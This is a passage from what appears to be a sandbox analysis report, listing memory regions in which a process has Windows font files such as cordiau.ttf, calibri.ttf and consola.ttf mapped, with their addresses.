0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browauz.ttf" filename = "\\Windows\\Fonts\\browauz.ttf" (normalized: "c:\\windows\\fonts\\browauz.ttf") Region: id = 784 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiau.ttf" filename = "\\Windows\\Fonts\\cordiau.ttf" (normalized: "c:\\windows\\fonts\\cordiau.ttf") Region: id = 785 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiau.ttf" filename = "\\Windows\\Fonts\\cordiau.ttf" (normalized: "c:\\windows\\fonts\\cordiau.ttf") Region: id = 786 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaub.ttf" filename = "\\Windows\\Fonts\\cordiaub.ttf" (normalized: "c:\\windows\\fonts\\cordiaub.ttf") Region: id = 787 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaub.ttf" filename = "\\Windows\\Fonts\\cordiaub.ttf" (normalized: "c:\\windows\\fonts\\cordiaub.ttf") Region: id = 788 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiauz.ttf" filename = "\\Windows\\Fonts\\cordiauz.ttf" (normalized: "c:\\windows\\fonts\\cordiauz.ttf") Region: id = 789 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiauz.ttf" filename = "\\Windows\\Fonts\\cordiauz.ttf" (normalized: "c:\\windows\\fonts\\cordiauz.ttf") Region: id = 790 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaui.ttf" filename = "\\Windows\\Fonts\\cordiaui.ttf" (normalized: "c:\\windows\\fonts\\cordiaui.ttf") Region: id = 791 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaui.ttf" filename = "\\Windows\\Fonts\\cordiaui.ttf" (normalized: "c:\\windows\\fonts\\cordiaui.ttf") Region: id = 792 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdl.ttf" filename = "\\Windows\\Fonts\\upcdl.ttf" (normalized: "c:\\windows\\fonts\\upcdl.ttf") Region: id = 793 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdl.ttf" filename = "\\Windows\\Fonts\\upcdl.ttf" (normalized: "c:\\windows\\fonts\\upcdl.ttf") Region: id = 794 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdi.ttf" filename = "\\Windows\\Fonts\\upcdi.ttf" (normalized: "c:\\windows\\fonts\\upcdi.ttf") Region: id = 795 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdi.ttf" filename = "\\Windows\\Fonts\\upcdi.ttf" (normalized: "c:\\windows\\fonts\\upcdi.ttf") Region: id = 796 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdb.ttf" filename = "\\Windows\\Fonts\\upcdb.ttf" (normalized: "c:\\windows\\fonts\\upcdb.ttf") Region: id = 797 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdb.ttf" filename = "\\Windows\\Fonts\\upcdb.ttf" (normalized: "c:\\windows\\fonts\\upcdb.ttf") Region: id = 798 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdbi.ttf" filename = "\\Windows\\Fonts\\upcdbi.ttf" (normalized: "c:\\windows\\fonts\\upcdbi.ttf") Region: id = 799 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdbi.ttf" filename = "\\Windows\\Fonts\\upcdbi.ttf" (normalized: "c:\\windows\\fonts\\upcdbi.ttf") Region: id = 800 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcel.ttf" filename = "\\Windows\\Fonts\\upcel.ttf" (normalized: "c:\\windows\\fonts\\upcel.ttf") Region: id = 801 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcel.ttf" filename = "\\Windows\\Fonts\\upcel.ttf" (normalized: "c:\\windows\\fonts\\upcel.ttf") Region: id = 802 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcei.ttf" filename = "\\Windows\\Fonts\\upcei.ttf" (normalized: "c:\\windows\\fonts\\upcei.ttf") Region: id = 803 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcei.ttf" filename = "\\Windows\\Fonts\\upcei.ttf" (normalized: "c:\\windows\\fonts\\upcei.ttf") Region: id = 804 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upceb.ttf" filename = "\\Windows\\Fonts\\upceb.ttf" (normalized: "c:\\windows\\fonts\\upceb.ttf") Region: id = 805 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upceb.ttf" filename = "\\Windows\\Fonts\\upceb.ttf" (normalized: "c:\\windows\\fonts\\upceb.ttf") Region: id = 806 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcebi.ttf" filename = "\\Windows\\Fonts\\upcebi.ttf" (normalized: "c:\\windows\\fonts\\upcebi.ttf") Region: id = 807 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcebi.ttf" filename = "\\Windows\\Fonts\\upcebi.ttf" (normalized: "c:\\windows\\fonts\\upcebi.ttf") Region: id = 808 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfl.ttf" filename = "\\Windows\\Fonts\\upcfl.ttf" (normalized: "c:\\windows\\fonts\\upcfl.ttf") Region: id = 809 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfl.ttf" filename = "\\Windows\\Fonts\\upcfl.ttf" (normalized: "c:\\windows\\fonts\\upcfl.ttf") Region: id = 810 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfi.ttf" filename = "\\Windows\\Fonts\\upcfi.ttf" (normalized: "c:\\windows\\fonts\\upcfi.ttf") Region: id = 811 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfi.ttf" filename = "\\Windows\\Fonts\\upcfi.ttf" (normalized: "c:\\windows\\fonts\\upcfi.ttf") Region: id = 812 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfb.ttf" filename = "\\Windows\\Fonts\\upcfb.ttf" (normalized: "c:\\windows\\fonts\\upcfb.ttf") Region: id = 813 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfb.ttf" filename = "\\Windows\\Fonts\\upcfb.ttf" (normalized: "c:\\windows\\fonts\\upcfb.ttf") Region: id = 814 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfbi.ttf" filename = "\\Windows\\Fonts\\upcfbi.ttf" (normalized: "c:\\windows\\fonts\\upcfbi.ttf") Region: id = 815 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfbi.ttf" filename = "\\Windows\\Fonts\\upcfbi.ttf" (normalized: "c:\\windows\\fonts\\upcfbi.ttf") Region: id = 816 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcil.ttf" filename = "\\Windows\\Fonts\\upcil.ttf" (normalized: "c:\\windows\\fonts\\upcil.ttf") Region: id = 817 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcil.ttf" filename = "\\Windows\\Fonts\\upcil.ttf" (normalized: "c:\\windows\\fonts\\upcil.ttf") Region: id = 818 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcii.ttf" filename = "\\Windows\\Fonts\\upcii.ttf" (normalized: "c:\\windows\\fonts\\upcii.ttf") Region: id = 819 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcii.ttf" filename = "\\Windows\\Fonts\\upcii.ttf" (normalized: "c:\\windows\\fonts\\upcii.ttf") Region: id = 820 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcib.ttf" filename = "\\Windows\\Fonts\\upcib.ttf" (normalized: "c:\\windows\\fonts\\upcib.ttf") Region: id = 821 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcib.ttf" filename = "\\Windows\\Fonts\\upcib.ttf" (normalized: "c:\\windows\\fonts\\upcib.ttf") Region: id = 822 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcibi.ttf" filename = "\\Windows\\Fonts\\upcibi.ttf" (normalized: "c:\\windows\\fonts\\upcibi.ttf") Region: id = 823 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcibi.ttf" filename = "\\Windows\\Fonts\\upcibi.ttf" (normalized: "c:\\windows\\fonts\\upcibi.ttf") Region: id = 824 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjl.ttf" filename = "\\Windows\\Fonts\\upcjl.ttf" (normalized: "c:\\windows\\fonts\\upcjl.ttf") Region: id = 825 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjl.ttf" filename = "\\Windows\\Fonts\\upcjl.ttf" (normalized: "c:\\windows\\fonts\\upcjl.ttf") Region: id = 826 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcji.ttf" filename = "\\Windows\\Fonts\\upcji.ttf" (normalized: "c:\\windows\\fonts\\upcji.ttf") Region: id = 827 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcji.ttf" filename = "\\Windows\\Fonts\\upcji.ttf" (normalized: "c:\\windows\\fonts\\upcji.ttf") Region: id = 828 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjb.ttf" filename = "\\Windows\\Fonts\\upcjb.ttf" (normalized: "c:\\windows\\fonts\\upcjb.ttf") Region: id = 829 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjb.ttf" filename = "\\Windows\\Fonts\\upcjb.ttf" (normalized: "c:\\windows\\fonts\\upcjb.ttf") Region: id = 830 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjbi.ttf" filename = "\\Windows\\Fonts\\upcjbi.ttf" (normalized: "c:\\windows\\fonts\\upcjbi.ttf") Region: id = 831 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjbi.ttf" filename = "\\Windows\\Fonts\\upcjbi.ttf" (normalized: "c:\\windows\\fonts\\upcjbi.ttf") Region: id = 832 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckl.ttf" filename = "\\Windows\\Fonts\\upckl.ttf" (normalized: "c:\\windows\\fonts\\upckl.ttf") Region: id = 833 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckl.ttf" filename = "\\Windows\\Fonts\\upckl.ttf" (normalized: "c:\\windows\\fonts\\upckl.ttf") Region: id = 834 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcki.ttf" filename = "\\Windows\\Fonts\\upcki.ttf" (normalized: "c:\\windows\\fonts\\upcki.ttf") Region: id = 835 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcki.ttf" filename = "\\Windows\\Fonts\\upcki.ttf" (normalized: "c:\\windows\\fonts\\upcki.ttf") Region: id = 836 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckb.ttf" filename = "\\Windows\\Fonts\\upckb.ttf" (normalized: "c:\\windows\\fonts\\upckb.ttf") Region: id = 837 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckb.ttf" filename = "\\Windows\\Fonts\\upckb.ttf" (normalized: "c:\\windows\\fonts\\upckb.ttf") Region: id = 838 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckbi.ttf" filename = "\\Windows\\Fonts\\upckbi.ttf" (normalized: "c:\\windows\\fonts\\upckbi.ttf") Region: id = 839 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckbi.ttf" filename = "\\Windows\\Fonts\\upckbi.ttf" (normalized: "c:\\windows\\fonts\\upckbi.ttf") Region: id = 840 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcll.ttf" filename = "\\Windows\\Fonts\\upcll.ttf" (normalized: "c:\\windows\\fonts\\upcll.ttf") Region: id = 841 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcll.ttf" filename = "\\Windows\\Fonts\\upcll.ttf" (normalized: "c:\\windows\\fonts\\upcll.ttf") Region: id = 842 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcli.ttf" filename = "\\Windows\\Fonts\\upcli.ttf" (normalized: "c:\\windows\\fonts\\upcli.ttf") Region: id = 843 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcli.ttf" filename = "\\Windows\\Fonts\\upcli.ttf" (normalized: "c:\\windows\\fonts\\upcli.ttf") Region: id = 844 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclb.ttf" filename = "\\Windows\\Fonts\\upclb.ttf" (normalized: "c:\\windows\\fonts\\upclb.ttf") Region: id = 845 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclb.ttf" filename = "\\Windows\\Fonts\\upclb.ttf" (normalized: "c:\\windows\\fonts\\upclb.ttf") Region: id = 846 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclbi.ttf" filename = "\\Windows\\Fonts\\upclbi.ttf" (normalized: "c:\\windows\\fonts\\upclbi.ttf") Region: id = 847 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclbi.ttf" filename = "\\Windows\\Fonts\\upclbi.ttf" (normalized: "c:\\windows\\fonts\\upclbi.ttf") Region: id = 848 start_va = 0x1b500000 end_va = 0x1b9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kaiu.ttf" filename = "\\Windows\\Fonts\\kaiu.ttf" (normalized: "c:\\windows\\fonts\\kaiu.ttf") Region: id = 849 start_va = 0x1b500000 end_va = 0x1b9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kaiu.ttf" filename = "\\Windows\\Fonts\\kaiu.ttf" (normalized: "c:\\windows\\fonts\\kaiu.ttf") Region: id = 850 start_va = 0x2190000 end_va = 0x21dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_10646.ttf" filename = "\\Windows\\Fonts\\l_10646.ttf" (normalized: "c:\\windows\\fonts\\l_10646.ttf") Region: id = 851 start_va = 0x2190000 end_va = 0x21dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_10646.ttf" filename = "\\Windows\\Fonts\\l_10646.ttf" (normalized: "c:\\windows\\fonts\\l_10646.ttf") Region: id = 852 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariblk.ttf" filename = "\\Windows\\Fonts\\ariblk.ttf" (normalized: "c:\\windows\\fonts\\ariblk.ttf") Region: id = 853 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariblk.ttf" filename = "\\Windows\\Fonts\\ariblk.ttf" (normalized: "c:\\windows\\fonts\\ariblk.ttf") Region: id = 854 start_va = 0x1b0f0000 end_va = 0x1b1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 855 start_va = 0x1b0f0000 end_va = 0x1b1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 856 start_va = 0x1b0f0000 end_va = 0x1b1c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 857 start_va = 0x1b0f0000 end_va = 0x1b1c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 858 start_va = 0x1b0f0000 end_va = 0x1b1bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 859 start_va = 0x1b0f0000 end_va = 0x1b1bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 860 start_va = 0x1b0f0000 end_va = 0x1b1cbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibriz.ttf" filename = "\\Windows\\Fonts\\calibriz.ttf" (normalized: "c:\\windows\\fonts\\calibriz.ttf") Region: id = 861 start_va = 0x1b0f0000 end_va = 0x1b1cbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibriz.ttf" filename = "\\Windows\\Fonts\\calibriz.ttf" (normalized: "c:\\windows\\fonts\\calibriz.ttf") Region: id = 862 start_va = 0x1b500000 end_va = 0x1b68cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 863 start_va = 0x1b500000 end_va = 0x1b68cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 864 start_va = 0x1b500000 end_va = 0x1b68cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 865 start_va = 0x1b0f0000 end_va = 0x1b1b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriai.ttf" filename = "\\Windows\\Fonts\\cambriai.ttf" (normalized: "c:\\windows\\fonts\\cambriai.ttf") Region: id = 866 start_va = 0x1b0f0000 end_va = 0x1b1b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriai.ttf" filename = "\\Windows\\Fonts\\cambriai.ttf" (normalized: "c:\\windows\\fonts\\cambriai.ttf") Region: id = 867 start_va = 0x1b0f0000 end_va = 0x1b1b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriab.ttf" filename = "\\Windows\\Fonts\\cambriab.ttf" (normalized: "c:\\windows\\fonts\\cambriab.ttf") Region: id = 868 start_va = 0x1b0f0000 end_va = 0x1b1b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriab.ttf" filename = "\\Windows\\Fonts\\cambriab.ttf" (normalized: "c:\\windows\\fonts\\cambriab.ttf") Region: id = 869 start_va = 0x1b0f0000 end_va = 0x1b1b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriaz.ttf" filename = "\\Windows\\Fonts\\cambriaz.ttf" (normalized: "c:\\windows\\fonts\\cambriaz.ttf") Region: id = 870 start_va = 0x1b0f0000 end_va = 0x1b1b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriaz.ttf" filename = "\\Windows\\Fonts\\cambriaz.ttf" (normalized: "c:\\windows\\fonts\\cambriaz.ttf") Region: id = 871 start_va = 0x2190000 end_va = 0x21c5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candara.ttf" filename = "\\Windows\\Fonts\\Candara.ttf" (normalized: "c:\\windows\\fonts\\candara.ttf") Region: id = 872 start_va = 0x2190000 end_va = 0x21c5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candara.ttf" filename = "\\Windows\\Fonts\\Candara.ttf" (normalized: "c:\\windows\\fonts\\candara.ttf") Region: id = 873 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarai.ttf" filename = "\\Windows\\Fonts\\Candarai.ttf" (normalized: "c:\\windows\\fonts\\candarai.ttf") Region: id = 874 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarai.ttf" filename = "\\Windows\\Fonts\\Candarai.ttf" (normalized: "c:\\windows\\fonts\\candarai.ttf") Region: id = 875 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarab.ttf" filename = "\\Windows\\Fonts\\Candarab.ttf" (normalized: "c:\\windows\\fonts\\candarab.ttf") Region: id = 876 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarab.ttf" filename = "\\Windows\\Fonts\\Candarab.ttf" (normalized: "c:\\windows\\fonts\\candarab.ttf") Region: id = 877 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candaraz.ttf" filename = "\\Windows\\Fonts\\Candaraz.ttf" (normalized: "c:\\windows\\fonts\\candaraz.ttf") Region: id = 878 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candaraz.ttf" filename = "\\Windows\\Fonts\\Candaraz.ttf" (normalized: "c:\\windows\\fonts\\candaraz.ttf") Region: id = 879 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comic.ttf" filename = "\\Windows\\Fonts\\comic.ttf" (normalized: "c:\\windows\\fonts\\comic.ttf") Region: id = 880 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comic.ttf" filename = "\\Windows\\Fonts\\comic.ttf" (normalized: "c:\\windows\\fonts\\comic.ttf") Region: id = 881 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comicbd.ttf" filename = "\\Windows\\Fonts\\comicbd.ttf" (normalized: "c:\\windows\\fonts\\comicbd.ttf") Region: id = 882 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comicbd.ttf" filename = "\\Windows\\Fonts\\comicbd.ttf" (normalized: "c:\\windows\\fonts\\comicbd.ttf") Region: id = 883 start_va = 0x2190000 end_va = 0x21e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 884 start_va = 0x2190000 end_va = 0x21e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 885 start_va = 0x2190000 end_va = 0x21e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 886 start_va = 0x2190000 end_va = 0x21e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 887 start_va = 0x2190000 end_va = 0x21e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 888 start_va = 0x2190000 end_va = 0x21e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 889 start_va = 0x2190000 end_va = 0x21ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 890 start_va = 0x2190000 end_va = 0x21ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 891 start_va = 0x2190000 end_va = 0x21fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constan.ttf" filename = "\\Windows\\Fonts\\constan.ttf" (normalized: "c:\\windows\\fonts\\constan.ttf") Region: id = 892 start_va = 0x2190000 end_va = 0x21fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constan.ttf" filename = "\\Windows\\Fonts\\constan.ttf" (normalized: "c:\\windows\\fonts\\constan.ttf") Region: id = 893 start_va = 0x2190000 end_va = 0x21fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constani.ttf" filename = "\\Windows\\Fonts\\constani.ttf" (normalized: "c:\\windows\\fonts\\constani.ttf") Region: id = 894 start_va = 0x2190000 end_va = 0x21fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constani.ttf" filename = "\\Windows\\Fonts\\constani.ttf" (normalized: "c:\\windows\\fonts\\constani.ttf") Region: id = 895 start_va = 0x2190000 end_va = 0x21fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanb.ttf" filename = "\\Windows\\Fonts\\constanb.ttf" (normalized: "c:\\windows\\fonts\\constanb.ttf") Region: id = 896 start_va = 0x2190000 end_va = 0x21fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanb.ttf" filename = "\\Windows\\Fonts\\constanb.ttf" (normalized: "c:\\windows\\fonts\\constanb.ttf") Region: id = 897 start_va = 0x2190000 end_va = 0x21fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanz.ttf" filename = "\\Windows\\Fonts\\constanz.ttf" (normalized: "c:\\windows\\fonts\\constanz.ttf") Region: id = 898 start_va = 0x2190000 end_va = 0x21fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanz.ttf" filename = "\\Windows\\Fonts\\constanz.ttf" (normalized: "c:\\windows\\fonts\\constanz.ttf") Region: id = 899 start_va = 0x2190000 end_va = 0x21cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbel.ttf" filename = "\\Windows\\Fonts\\corbel.ttf" (normalized: "c:\\windows\\fonts\\corbel.ttf") Region: id = 900 start_va = 0x2190000 end_va = 0x21cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbel.ttf" filename = "\\Windows\\Fonts\\corbel.ttf" (normalized: "c:\\windows\\fonts\\corbel.ttf") Region: id = 901 start_va = 0x2190000 end_va = 0x21d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbeli.ttf" filename = "\\Windows\\Fonts\\corbeli.ttf" (normalized: "c:\\windows\\fonts\\corbeli.ttf") Region: id = 902 start_va = 0x2190000 end_va = 0x21d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbeli.ttf" filename = "\\Windows\\Fonts\\corbeli.ttf" (normalized: "c:\\windows\\fonts\\corbeli.ttf") Region: id = 903 start_va = 0x2190000 end_va = 0x21d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelb.ttf" filename = "\\Windows\\Fonts\\corbelb.ttf" (normalized: "c:\\windows\\fonts\\corbelb.ttf") Region: id = 904 start_va = 0x2190000 end_va = 0x21d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelb.ttf" filename = "\\Windows\\Fonts\\corbelb.ttf" (normalized: "c:\\windows\\fonts\\corbelb.ttf") Region: id = 905 start_va = 0x2190000 end_va = 0x21d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelz.ttf" filename = "\\Windows\\Fonts\\corbelz.ttf" (normalized: "c:\\windows\\fonts\\corbelz.ttf") Region: id = 906 start_va = 0x2190000 end_va = 0x21d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelz.ttf" filename = "\\Windows\\Fonts\\corbelz.ttf" (normalized: "c:\\windows\\fonts\\corbelz.ttf") Region: id = 907 start_va = 0x5b0000 end_va = 